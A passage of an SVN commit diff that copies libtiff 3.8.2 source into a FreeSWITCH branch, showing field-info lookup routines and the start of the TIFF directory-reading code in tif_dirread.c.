+      1,	0,	"ImageUniqueID" }
+};
+
+const TIFFFieldInfo *
+_TIFFGetFieldInfo(size_t *size)
+{
+	*size = TIFFArrayCount(tiffFieldInfo);
+	return tiffFieldInfo;
+}
+
+const TIFFFieldInfo *
+_TIFFGetExifFieldInfo(size_t *size)
+{
+	*size = TIFFArrayCount(exifFieldInfo);
+	return exifFieldInfo;
+}
+
+void
+_TIFFSetupFieldInfo(TIFF* tif, const TIFFFieldInfo info[], size_t n)
+{
+	if (tif->tif_fieldinfo) {
+		size_t  i;
+
+		for (i = 0; i < tif->tif_nfields; i++) 
+		{
+			TIFFFieldInfo *fld = tif->tif_fieldinfo[i];
+			if (fld->field_bit == FIELD_CUSTOM && 
+				strncmp("Tag ", fld->field_name, 4) == 0) {
+					_TIFFfree(fld->field_name);
+					_TIFFfree(fld);
+				}
+		}   
+      
+		_TIFFfree(tif->tif_fieldinfo);
+		tif->tif_nfields = 0;
+	}
+	_TIFFMergeFieldInfo(tif, info, n);
+}
+
+static int
+tagCompare(const void* a, const void* b)
+{
+	const TIFFFieldInfo* ta = *(const TIFFFieldInfo**) a;
+	const TIFFFieldInfo* tb = *(const TIFFFieldInfo**) b;
+	/* NB: be careful of return values for 16-bit platforms */
+	if (ta->field_tag != tb->field_tag)
+		return (ta->field_tag < tb->field_tag ? -1 : 1);
+	else
+		return ((int)tb->field_type - (int)ta->field_type);
+}
+
+static int
+tagNameCompare(const void* a, const void* b)
+{
+	const TIFFFieldInfo* ta = *(const TIFFFieldInfo**) a;
+	const TIFFFieldInfo* tb = *(const TIFFFieldInfo**) b;
+
+        return strcmp(ta->field_name, tb->field_name);
+}
+
+void
+_TIFFMergeFieldInfo(TIFF* tif, const TIFFFieldInfo info[], int n)
+{
+	TIFFFieldInfo** tp;
+	int i;
+
+        tif->tif_foundfield = NULL;
+
+	if (tif->tif_nfields > 0) {
+		tif->tif_fieldinfo = (TIFFFieldInfo**)
+		    _TIFFrealloc(tif->tif_fieldinfo,
+			(tif->tif_nfields+n) * sizeof (TIFFFieldInfo*));
+	} else {
+		tif->tif_fieldinfo = (TIFFFieldInfo**)
+		    _TIFFmalloc(n * sizeof (TIFFFieldInfo*));
+	}
+	assert(tif->tif_fieldinfo != NULL);
+	tp = tif->tif_fieldinfo + tif->tif_nfields;
+	for (i = 0; i < n; i++)
+		*tp++ = (TIFFFieldInfo*) (info + i);	/* XXX */
+
+        /* Sort the field info by tag number */
+        qsort(tif->tif_fieldinfo, tif->tif_nfields += n,
+	      sizeof (TIFFFieldInfo*), tagCompare);
+}
+
+void
+_TIFFPrintFieldInfo(TIFF* tif, FILE* fd)
+{
+	size_t i;
+
+	fprintf(fd, "%s: \n", tif->tif_name);
+	for (i = 0; i < tif->tif_nfields; i++) {
+		const TIFFFieldInfo* fip = tif->tif_fieldinfo[i];
+		fprintf(fd, "field[%2d] %5lu, %2d, %2d, %d, %2d, %5s, %5s, %s\n"
+			, (int)i
+			, (unsigned long) fip->field_tag
+			, fip->field_readcount, fip->field_writecount
+			, fip->field_type
+			, fip->field_bit
+			, fip->field_oktochange ? "TRUE" : "FALSE"
+			, fip->field_passcount ? "TRUE" : "FALSE"
+			, fip->field_name
+		);
+	}
+}
+
+/*
+ * Return size of TIFFDataType in bytes
+ */
+int
+TIFFDataWidth(TIFFDataType type)
+{
+	switch(type)
+	{
+	case 0:  /* nothing */
+	case 1:  /* TIFF_BYTE */
+	case 2:  /* TIFF_ASCII */
+	case 6:  /* TIFF_SBYTE */
+	case 7:  /* TIFF_UNDEFINED */
+		return 1;
+	case 3:  /* TIFF_SHORT */
+	case 8:  /* TIFF_SSHORT */
+		return 2;
+	case 4:  /* TIFF_LONG */
+	case 9:  /* TIFF_SLONG */
+	case 11: /* TIFF_FLOAT */
+        case 13: /* TIFF_IFD */
+		return 4;
+	case 5:  /* TIFF_RATIONAL */
+	case 10: /* TIFF_SRATIONAL */
+	case 12: /* TIFF_DOUBLE */
+		return 8;
+	default:
+		return 0; /* will return 0 for unknown types */
+	}
+}
+
+/*
+ * Return size of TIFFDataType in bytes.
+ *
+ * XXX: We need a separate function to determine the space needed
+ * to store the value. For TIFF_RATIONAL values TIFFDataWidth() returns 8,
+ * but we use 4-byte float to represent rationals.
+ */
+int
+_TIFFDataSize(TIFFDataType type)
+{
+	switch (type) {
+		case TIFF_BYTE:
+		case TIFF_SBYTE:
+		case TIFF_ASCII:
+		case TIFF_UNDEFINED:
+		    return 1;
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+		    return 2;
+		case TIFF_LONG:
+		case TIFF_SLONG:
+		case TIFF_FLOAT:
+		case TIFF_IFD:
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+		    return 4;
+		case TIFF_DOUBLE:
+		    return 8;
+		default:
+		    return 0;
+	}
+}
+
+/*
+ * Return nearest TIFFDataType to the sample type of an image.
+ */
+TIFFDataType
+_TIFFSampleToTagType(TIFF* tif)
+{
+	uint32 bps = TIFFhowmany8(tif->tif_dir.td_bitspersample);
+
+	switch (tif->tif_dir.td_sampleformat) {
+	case SAMPLEFORMAT_IEEEFP:
+		return (bps == 4 ? TIFF_FLOAT : TIFF_DOUBLE);
+	case SAMPLEFORMAT_INT:
+		return (bps <= 1 ? TIFF_SBYTE :
+		    bps <= 2 ? TIFF_SSHORT : TIFF_SLONG);
+	case SAMPLEFORMAT_UINT:
+		return (bps <= 1 ? TIFF_BYTE :
+		    bps <= 2 ? TIFF_SHORT : TIFF_LONG);
+	case SAMPLEFORMAT_VOID:
+		return (TIFF_UNDEFINED);
+	}
+	/*NOTREACHED*/
+	return (TIFF_UNDEFINED);
+}
+
+const TIFFFieldInfo*
+_TIFFFindFieldInfo(TIFF* tif, ttag_t tag, TIFFDataType dt)
+{
+	int i, n;
+
+	if (tif->tif_foundfield && tif->tif_foundfield->field_tag == tag &&
+	    (dt == TIFF_ANY || dt == tif->tif_foundfield->field_type))
+		return (tif->tif_foundfield);
+	/* NB: use sorted search (e.g. binary search) */
+	if(dt != TIFF_ANY) {
+            TIFFFieldInfo key = {0, 0, 0, TIFF_NOTYPE, 0, 0, 0, 0};
+	    TIFFFieldInfo* pkey = &key;
+	    const TIFFFieldInfo **ret;
+
+	    key.field_tag = tag;
+            key.field_type = dt;
+
+	    ret = (const TIFFFieldInfo **) bsearch(&pkey,
+						   tif->tif_fieldinfo, 
+						   tif->tif_nfields,
+						   sizeof(TIFFFieldInfo *), 
+						   tagCompare);
+	    return (ret) ? (*ret) : NULL;
+        } else for (i = 0, n = tif->tif_nfields; i < n; i++) {
+		const TIFFFieldInfo* fip = tif->tif_fieldinfo[i];
+		if (fip->field_tag == tag &&
+		    (dt == TIFF_ANY || fip->field_type == dt))
+			return (tif->tif_foundfield = fip);
+	}
+	return ((const TIFFFieldInfo *)0);
+}
+
+const TIFFFieldInfo*
+_TIFFFindFieldInfoByName(TIFF* tif, const char *field_name, TIFFDataType dt)
+{
+	int i, n;
+
+	if (tif->tif_foundfield
+	    && streq(tif->tif_foundfield->field_name, field_name)
+	    && (dt == TIFF_ANY || dt == tif->tif_foundfield->field_type))
+		return (tif->tif_foundfield);
+	/* NB: use sorted search (e.g. binary search) */
+	if(dt != TIFF_ANY) {
+            TIFFFieldInfo key = {0, 0, 0, TIFF_NOTYPE, 0, 0, 0, 0};
+	    TIFFFieldInfo* pkey = &key;
+	    const TIFFFieldInfo **ret;
+
+            key.field_name = (char *)field_name;
+            key.field_type = dt;
+
+            ret = (const TIFFFieldInfo **) lfind(&pkey,
+						 tif->tif_fieldinfo, 
+						 &tif->tif_nfields,
+						 sizeof(TIFFFieldInfo *),
+						 tagNameCompare);
+	    return (ret) ? (*ret) : NULL;
+        } else
+		for (i = 0, n = tif->tif_nfields; i < n; i++) {
+			const TIFFFieldInfo* fip = tif->tif_fieldinfo[i];
+			if (streq(fip->field_name, field_name) &&
+			    (dt == TIFF_ANY || fip->field_type == dt))
+				return (tif->tif_foundfield = fip);
+		}
+	return ((const TIFFFieldInfo *)0);
+}
+
+const TIFFFieldInfo*
+_TIFFFieldWithTag(TIFF* tif, ttag_t tag)
+{
+	const TIFFFieldInfo* fip = _TIFFFindFieldInfo(tif, tag, TIFF_ANY);
+	if (!fip) {
+		TIFFErrorExt(tif->tif_clientdata, "TIFFFieldWithTag",
+			  "Internal error, unknown tag 0x%x",
+                          (unsigned int) tag);
+		assert(fip != NULL);
+		/*NOTREACHED*/
+	}
+	return (fip);
+}
+
+const TIFFFieldInfo*
+_TIFFFieldWithName(TIFF* tif, const char *field_name)
+{
+	const TIFFFieldInfo* fip =
+		_TIFFFindFieldInfoByName(tif, field_name, TIFF_ANY);
+	if (!fip) {
+		TIFFErrorExt(tif->tif_clientdata, "TIFFFieldWithName",
+			  "Internal error, unknown tag %s", field_name);
+		assert(fip != NULL);
+		/*NOTREACHED*/
+	}
+	return (fip);
+}
+
+const TIFFFieldInfo*
+_TIFFFindOrRegisterFieldInfo( TIFF *tif, ttag_t tag, TIFFDataType dt )
+
+{
+    const TIFFFieldInfo *fld;
+
+    fld = _TIFFFindFieldInfo( tif, tag, dt );
+    if( fld == NULL )
+    {
+        fld = _TIFFCreateAnonFieldInfo( tif, tag, dt );
+        _TIFFMergeFieldInfo( tif, fld, 1 );
+    }
+
+    return fld;
+}
+
+TIFFFieldInfo*
+_TIFFCreateAnonFieldInfo(TIFF *tif, ttag_t tag, TIFFDataType field_type)
+{
+	TIFFFieldInfo *fld;
+	(void) tif;
+
+	fld = (TIFFFieldInfo *) _TIFFmalloc(sizeof (TIFFFieldInfo));
+	if (fld == NULL)
+	    return NULL;
+	_TIFFmemset( fld, 0, sizeof(TIFFFieldInfo) );
+
+	fld->field_tag = tag;
+	fld->field_readcount = TIFF_VARIABLE;
+	fld->field_writecount = TIFF_VARIABLE;
+	fld->field_type = field_type;
+	fld->field_bit = FIELD_CUSTOM;
+	fld->field_oktochange = TRUE;
+	fld->field_passcount = TRUE;
+	fld->field_name = (char *) _TIFFmalloc(32);
+	if (fld->field_name == NULL) {
+	    _TIFFfree(fld);
+	    return NULL;
+	}
+
+	/* note that this name is a special sign to TIFFClose() and
+	 * _TIFFSetupFieldInfo() to free the field
+	 */
+	sprintf(fld->field_name, "Tag %d", (int) tag);
+
+	return fld;    
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirread.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirread.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_dirread.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirread.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_dirread.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1789 @@
+/* $Id: tif_dirread.c,v 1.82 2006/03/16 12:24:53 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Directory Read Support Routines.
+ */
+#include "tiffiop.h"
+
+#define	IGNORE	0		/* tag placeholder used below */
+
+#ifdef HAVE_IEEEFP
+# define	TIFFCvtIEEEFloatToNative(tif, n, fp)
+# define	TIFFCvtIEEEDoubleToNative(tif, n, dp)
+#else
+extern	void TIFFCvtIEEEFloatToNative(TIFF*, uint32, float*);
+extern	void TIFFCvtIEEEDoubleToNative(TIFF*, uint32, double*);
+#endif
+
+static	int EstimateStripByteCounts(TIFF*, TIFFDirEntry*, uint16);
+static	void MissingRequired(TIFF*, const char*);
+static	int CheckDirCount(TIFF*, TIFFDirEntry*, uint32);
+static	tsize_t TIFFFetchData(TIFF*, TIFFDirEntry*, char*);
+static	tsize_t TIFFFetchString(TIFF*, TIFFDirEntry*, char*);
+static	float TIFFFetchRational(TIFF*, TIFFDirEntry*);
+static	int TIFFFetchNormalTag(TIFF*, TIFFDirEntry*);
+static	int TIFFFetchPerSampleShorts(TIFF*, TIFFDirEntry*, uint16*);
+static	int TIFFFetchPerSampleLongs(TIFF*, TIFFDirEntry*, uint32*);
+static	int TIFFFetchPerSampleAnys(TIFF*, TIFFDirEntry*, double*);
+static	int TIFFFetchShortArray(TIFF*, TIFFDirEntry*, uint16*);
+static	int TIFFFetchStripThing(TIFF*, TIFFDirEntry*, long, uint32**);
+static	int TIFFFetchRefBlackWhite(TIFF*, TIFFDirEntry*);
+static	float TIFFFetchFloat(TIFF*, TIFFDirEntry*);
+static	int TIFFFetchFloatArray(TIFF*, TIFFDirEntry*, float*);
+static	int TIFFFetchDoubleArray(TIFF*, TIFFDirEntry*, double*);
+static	int TIFFFetchAnyArray(TIFF*, TIFFDirEntry*, double*);
+static	int TIFFFetchShortPair(TIFF*, TIFFDirEntry*);
+static	void ChopUpSingleUncompressedStrip(TIFF*);
+
+/*
+ * Read the next TIFF directory from a file
+ * and convert it to the internal format.
+ * We read directories sequentially.
+ */
+int
+TIFFReadDirectory(TIFF* tif)
+{
+	static const char module[] = "TIFFReadDirectory";
+
+	int n;
+	TIFFDirectory* td;
+	TIFFDirEntry *dp, *dir = NULL;
+	uint16 iv;
+	uint32 v;
+	const TIFFFieldInfo* fip;
+	size_t fix;
+	uint16 dircount;
+	toff_t nextdiroff;
+	int diroutoforderwarning = 0;
+	toff_t* new_dirlist;
+
+	tif->tif_diroff = tif->tif_nextdiroff;
+	if (tif->tif_diroff == 0)		/* no more directories */
+		return (0);
+
+	/*
+	 * XXX: Trick to prevent IFD looping. The one can create TIFF file
+	 * with looped directory pointers. We will maintain a list of already
+	 * seen directories and check every IFD offset against this list.
+	 */
+	for (n = 0; n < tif->tif_dirnumber; n++) {
+		if (tif->tif_dirlist[n] == tif->tif_diroff)
+			return (0);
+	}
+	tif->tif_dirnumber++;
+	new_dirlist = (toff_t *)_TIFFrealloc(tif->tif_dirlist,
+					tif->tif_dirnumber * sizeof(toff_t));
+	if (!new_dirlist) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+			  "%s: Failed to allocate space for IFD list",
+			  tif->tif_name);
+		return (0);
+	}
+	tif->tif_dirlist = new_dirlist;
+	tif->tif_dirlist[tif->tif_dirnumber - 1] = tif->tif_diroff;
+
+	/*
+	 * Cleanup any previous compression state.
+	 */
+	(*tif->tif_cleanup)(tif);
+	tif->tif_curdir++;
+	nextdiroff = 0;
+	if (!isMapped(tif)) {
+		if (!SeekOK(tif, tif->tif_diroff)) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Seek error accessing TIFF directory",
+                            tif->tif_name);
+			return (0);
+		}
+		if (!ReadOK(tif, &dircount, sizeof (uint16))) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Can not read TIFF directory count",
+                            tif->tif_name);
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		dir = (TIFFDirEntry *)_TIFFCheckMalloc(tif, dircount,
+						       sizeof (TIFFDirEntry),
+						"to read TIFF directory");
+		if (dir == NULL)
+			return (0);
+		if (!ReadOK(tif, dir, dircount*sizeof (TIFFDirEntry))) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+                                  "%.100s: Can not read TIFF directory",
+                                  tif->tif_name);
+			goto bad;
+		}
+		/*
+		 * Read offset to next directory for sequential scans.
+		 */
+		(void) ReadOK(tif, &nextdiroff, sizeof (uint32));
+	} else {
+		toff_t off = tif->tif_diroff;
+
+		if (off + sizeof (uint16) > tif->tif_size) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Can not read TIFF directory count",
+                            tif->tif_name);
+			return (0);
+		} else
+			_TIFFmemcpy(&dircount, tif->tif_base + off, sizeof (uint16));
+		off += sizeof (uint16);
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		dir = (TIFFDirEntry *)_TIFFCheckMalloc(tif, dircount,
+						       sizeof (TIFFDirEntry),
+						"to read TIFF directory");
+		if (dir == NULL)
+			return (0);
+		if (off + dircount*sizeof (TIFFDirEntry) > tif->tif_size) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+                                  "%s: Can not read TIFF directory",
+                                  tif->tif_name);
+			goto bad;
+		} else {
+			_TIFFmemcpy(dir, tif->tif_base + off,
+				    dircount*sizeof (TIFFDirEntry));
+		}
+		off += dircount* sizeof (TIFFDirEntry);
+		if (off + sizeof (uint32) <= tif->tif_size)
+			_TIFFmemcpy(&nextdiroff, tif->tif_base+off, sizeof (uint32));
+	}
+	if (tif->tif_flags & TIFF_SWAB)
+		TIFFSwabLong(&nextdiroff);
+	tif->tif_nextdiroff = nextdiroff;
+
+	tif->tif_flags &= ~TIFF_BEENWRITING;	/* reset before new dir */
+	/*
+	 * Setup default value and then make a pass over
+	 * the fields to check type and tag information,
+	 * and to extract info required to size data
+	 * structures.  A second pass is made afterwards
+	 * to read in everthing not taken in the first pass.
+	 */
+	td = &tif->tif_dir;
+	/* free any old stuff and reinit */
+	TIFFFreeDirectory(tif);
+	TIFFDefaultDirectory(tif);
+	/*
+	 * Electronic Arts writes gray-scale TIFF files
+	 * without a PlanarConfiguration directory entry.
+	 * Thus we setup a default value here, even though
+	 * the TIFF spec says there is no default value.
+	 */
+	TIFFSetField(tif, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+
+	/*
+	 * Sigh, we must make a separate pass through the
+	 * directory for the following reason:
+	 *
+	 * We must process the Compression tag in the first pass
+	 * in order to merge in codec-private tag definitions (otherwise
+	 * we may get complaints about unknown tags).  However, the
+	 * Compression tag may be dependent on the SamplesPerPixel
+	 * tag value because older TIFF specs permited Compression
+	 * to be written as a SamplesPerPixel-count tag entry.
+	 * Thus if we don't first figure out the correct SamplesPerPixel
+	 * tag value then we may end up ignoring the Compression tag
+	 * value because it has an incorrect count value (if the
+	 * true value of SamplesPerPixel is not 1).
+	 *
+	 * It sure would have been nice if Aldus had really thought
+	 * this stuff through carefully.
+	 */ 
+	for (dp = dir, n = dircount; n > 0; n--, dp++) {
+		if (tif->tif_flags & TIFF_SWAB) {
+			TIFFSwabArrayOfShort(&dp->tdir_tag, 2);
+			TIFFSwabArrayOfLong(&dp->tdir_count, 2);
+		}
+		if (dp->tdir_tag == TIFFTAG_SAMPLESPERPIXEL) {
+			if (!TIFFFetchNormalTag(tif, dp))
+				goto bad;
+			dp->tdir_tag = IGNORE;
+		}
+	}
+	/*
+	 * First real pass over the directory.
+	 */
+	fix = 0;
+	for (dp = dir, n = dircount; n > 0; n--, dp++) {
+
+		if (fix >= tif->tif_nfields || dp->tdir_tag == IGNORE)
+			continue;
+               
+		/*
+		 * Silicon Beach (at least) writes unordered
+		 * directory tags (violating the spec).  Handle
+		 * it here, but be obnoxious (maybe they'll fix it?).
+		 */
+		if (dp->tdir_tag < tif->tif_fieldinfo[fix]->field_tag) {
+			if (!diroutoforderwarning) {
+				TIFFWarningExt(tif->tif_clientdata, module,
+	"%s: invalid TIFF directory; tags are not sorted in ascending order",
+					       tif->tif_name);
+				diroutoforderwarning = 1;
+			}
+			fix = 0;			/* O(n^2) */
+		}
+		while (fix < tif->tif_nfields &&
+		       tif->tif_fieldinfo[fix]->field_tag < dp->tdir_tag)
+			fix++;
+		if (fix >= tif->tif_nfields ||
+		    tif->tif_fieldinfo[fix]->field_tag != dp->tdir_tag) {
+
+					TIFFWarningExt(tif->tif_clientdata,
+						       module,
+                        "%s: unknown field with tag %d (0x%x) encountered",
+						       tif->tif_name,
+						       dp->tdir_tag,
+						       dp->tdir_tag,
+						       dp->tdir_type);
+
+                    TIFFMergeFieldInfo(tif,
+                                       _TIFFCreateAnonFieldInfo(tif,
+						dp->tdir_tag,
+						(TIFFDataType) dp->tdir_type),
+				       1 );
+                    fix = 0;
+                    while (fix < tif->tif_nfields &&
+                           tif->tif_fieldinfo[fix]->field_tag < dp->tdir_tag)
+			fix++;
+		}
+		/*
+		 * Null out old tags that we ignore.
+		 */
+		if (tif->tif_fieldinfo[fix]->field_bit == FIELD_IGNORE) {
+	ignore:
+			dp->tdir_tag = IGNORE;
+			continue;
+		}
+		/*
+		 * Check data type.
+		 */
+		fip = tif->tif_fieldinfo[fix];
+		while (dp->tdir_type != (unsigned short) fip->field_type
+                       && fix < tif->tif_nfields) {
+			if (fip->field_type == TIFF_ANY)	/* wildcard */
+				break;
+                        fip = tif->tif_fieldinfo[++fix];
+			if (fix >= tif->tif_nfields ||
+			    fip->field_tag != dp->tdir_tag) {
+				TIFFWarningExt(tif->tif_clientdata, module,
+			"%s: wrong data type %d for \"%s\"; tag ignored",
+					    tif->tif_name, dp->tdir_type,
+					    tif->tif_fieldinfo[fix-1]->field_name);
+				goto ignore;
+			}
+		}
+		/*
+		 * Check count if known in advance.
+		 */
+		if (fip->field_readcount != TIFF_VARIABLE
+		    && fip->field_readcount != TIFF_VARIABLE2) {
+			uint32 expected = (fip->field_readcount == TIFF_SPP) ?
+			    (uint32) td->td_samplesperpixel :
+			    (uint32) fip->field_readcount;
+			if (!CheckDirCount(tif, dp, expected))
+				goto ignore;
+		}
+
+		switch (dp->tdir_tag) {
+		case TIFFTAG_COMPRESSION:
+			/*
+			 * The 5.0 spec says the Compression tag has
+			 * one value, while earlier specs say it has
+			 * one value per sample.  Because of this, we
+			 * accept the tag if one value is supplied.
+			 */
+			if (dp->tdir_count == 1) {
+				v = TIFFExtractData(tif,
+				    dp->tdir_type, dp->tdir_offset);
+				if (!TIFFSetField(tif, dp->tdir_tag, (uint16)v))
+					goto bad;
+				break;
+			/* XXX: workaround for broken TIFFs */
+			} else if (dp->tdir_type == TIFF_LONG) {
+				if (!TIFFFetchPerSampleLongs(tif, dp, &v) ||
+				    !TIFFSetField(tif, dp->tdir_tag, (uint16)v))
+					goto bad;
+			} else {
+				if (!TIFFFetchPerSampleShorts(tif, dp, &iv)
+				    || !TIFFSetField(tif, dp->tdir_tag, iv))
+					goto bad;
+			}
+			dp->tdir_tag = IGNORE;
+			break;
+		case TIFFTAG_STRIPOFFSETS:
+		case TIFFTAG_STRIPBYTECOUNTS:
+		case TIFFTAG_TILEOFFSETS:
+		case TIFFTAG_TILEBYTECOUNTS:
+			TIFFSetFieldBit(tif, fip->field_bit);
+			break;
+		case TIFFTAG_IMAGEWIDTH:
+		case TIFFTAG_IMAGELENGTH:
+		case TIFFTAG_IMAGEDEPTH:
+		case TIFFTAG_TILELENGTH:
+		case TIFFTAG_TILEWIDTH:
+		case TIFFTAG_TILEDEPTH:
+		case TIFFTAG_PLANARCONFIG:
+		case TIFFTAG_ROWSPERSTRIP:
+		case TIFFTAG_EXTRASAMPLES:
+			if (!TIFFFetchNormalTag(tif, dp))
+				goto bad;
+			dp->tdir_tag = IGNORE;
+			break;
+		}
+	}
+
+	/*
+	 * Allocate directory structure and setup defaults.
+	 */
+	if (!TIFFFieldSet(tif, FIELD_IMAGEDIMENSIONS)) {
+		MissingRequired(tif, "ImageLength");
+		goto bad;
+	}
+	/* 
+ 	 * Setup appropriate structures (by strip or by tile)
+	 */
+	if (!TIFFFieldSet(tif, FIELD_TILEDIMENSIONS)) {
+		td->td_nstrips = TIFFNumberOfStrips(tif);
+		td->td_tilewidth = td->td_imagewidth;
+		td->td_tilelength = td->td_rowsperstrip;
+		td->td_tiledepth = td->td_imagedepth;
+		tif->tif_flags &= ~TIFF_ISTILED;
+	} else {
+		td->td_nstrips = TIFFNumberOfTiles(tif);
+		tif->tif_flags |= TIFF_ISTILED;
+	}
+	if (!td->td_nstrips) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+			     "%s: cannot handle zero number of %s",
+			     tif->tif_name, isTiled(tif) ? "tiles" : "strips");
+		goto bad;
+	}
+	td->td_stripsperimage = td->td_nstrips;
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE)
+		td->td_stripsperimage /= td->td_samplesperpixel;
+	if (!TIFFFieldSet(tif, FIELD_STRIPOFFSETS)) {
+		MissingRequired(tif,
+				isTiled(tif) ? "TileOffsets" : "StripOffsets");
+		goto bad;
+	}
+
+	/*
+	 * Second pass: extract other information.
+	 */
+	for (dp = dir, n = dircount; n > 0; n--, dp++) {
+		if (dp->tdir_tag == IGNORE)
+			continue;
+		switch (dp->tdir_tag) {
+		case TIFFTAG_MINSAMPLEVALUE:
+		case TIFFTAG_MAXSAMPLEVALUE:
+		case TIFFTAG_BITSPERSAMPLE:
+		case TIFFTAG_DATATYPE:
+		case TIFFTAG_SAMPLEFORMAT:
+			/*
+			 * The 5.0 spec says the Compression tag has
+			 * one value, while earlier specs say it has
+			 * one value per sample.  Because of this, we
+			 * accept the tag if one value is supplied.
+			 *
+                         * The MinSampleValue, MaxSampleValue, BitsPerSample
+                         * DataType and SampleFormat tags are supposed to be
+                         * written as one value/sample, but some vendors
+                         * incorrectly write one value only -- so we accept
+                         * that as well (yech). Other vendors write correct
+			 * value for NumberOfSamples, but incorrect one for
+			 * BitsPerSample and friends, and we will read this
+			 * too.
+			 */
+			if (dp->tdir_count == 1) {
+				v = TIFFExtractData(tif,
+				    dp->tdir_type, dp->tdir_offset);
+				if (!TIFFSetField(tif, dp->tdir_tag, (uint16)v))
+					goto bad;
+			/* XXX: workaround for broken TIFFs */
+			} else if (dp->tdir_tag == TIFFTAG_BITSPERSAMPLE
+				   && dp->tdir_type == TIFF_LONG) {
+				if (!TIFFFetchPerSampleLongs(tif, dp, &v) ||
+				    !TIFFSetField(tif, dp->tdir_tag, (uint16)v))
+					goto bad;
+			} else {
+				if (!TIFFFetchPerSampleShorts(tif, dp, &iv) ||
+				    !TIFFSetField(tif, dp->tdir_tag, iv))
+					goto bad;
+			}
+			break;
+		case TIFFTAG_SMINSAMPLEVALUE:
+		case TIFFTAG_SMAXSAMPLEVALUE:
+			{
+				double dv = 0.0;
+				if (!TIFFFetchPerSampleAnys(tif, dp, &dv) ||
+				    !TIFFSetField(tif, dp->tdir_tag, dv))
+					goto bad;
+			}
+			break;
+		case TIFFTAG_STRIPOFFSETS:
+		case TIFFTAG_TILEOFFSETS:
+			if (!TIFFFetchStripThing(tif, dp,
+			    td->td_nstrips, &td->td_stripoffset))
+				goto bad;
+			break;
+		case TIFFTAG_STRIPBYTECOUNTS:
+		case TIFFTAG_TILEBYTECOUNTS:
+			if (!TIFFFetchStripThing(tif, dp,
+			    td->td_nstrips, &td->td_stripbytecount))
+				goto bad;
+			break;
+		case TIFFTAG_COLORMAP:
+		case TIFFTAG_TRANSFERFUNCTION:
+			{
+				char* cp;
+				/*
+				 * TransferFunction can have either 1x or 3x
+				 * data values; Colormap can have only 3x
+				 * items.
+				 */
+				v = 1L<<td->td_bitspersample;
+				if (dp->tdir_tag == TIFFTAG_COLORMAP ||
+				    dp->tdir_count != v) {
+					if (!CheckDirCount(tif, dp, 3 * v))
+						break;
+				}
+				v *= sizeof(uint16);
+				cp = (char *)_TIFFCheckMalloc(tif,
+							      dp->tdir_count,
+							      sizeof (uint16),
+					"to read \"TransferFunction\" tag");
+				if (cp != NULL) {
+					if (TIFFFetchData(tif, dp, cp)) {
+						/*
+						 * This deals with there being
+						 * only one array to apply to
+						 * all samples.
+						 */
+						uint32 c = 1L << td->td_bitspersample;
+						if (dp->tdir_count == c)
+							v = 0L;
+						TIFFSetField(tif, dp->tdir_tag,
+						    cp, cp+v, cp+2*v);
+					}
+					_TIFFfree(cp);
+				}
+				break;
+			}
+		case TIFFTAG_PAGENUMBER:
+		case TIFFTAG_HALFTONEHINTS:
+		case TIFFTAG_YCBCRSUBSAMPLING:
+		case TIFFTAG_DOTRANGE:
+			(void) TIFFFetchShortPair(tif, dp);
+			break;
+		case TIFFTAG_REFERENCEBLACKWHITE:
+			(void) TIFFFetchRefBlackWhite(tif, dp);
+			break;
+/* BEGIN REV 4.0 COMPATIBILITY */
+		case TIFFTAG_OSUBFILETYPE:
+			v = 0L;
+			switch (TIFFExtractData(tif, dp->tdir_type,
+			    dp->tdir_offset)) {
+			case OFILETYPE_REDUCEDIMAGE:
+				v = FILETYPE_REDUCEDIMAGE;
+				break;
+			case OFILETYPE_PAGE:
+				v = FILETYPE_PAGE;
+				break;
+			}
+			if (v)
+				TIFFSetField(tif, TIFFTAG_SUBFILETYPE, v);
+			break;
+/* END REV 4.0 COMPATIBILITY */
+		default:
+			(void) TIFFFetchNormalTag(tif, dp);
+			break;
+		}
+	}
+	/*
+	 * Verify Palette image has a Colormap.
+	 */
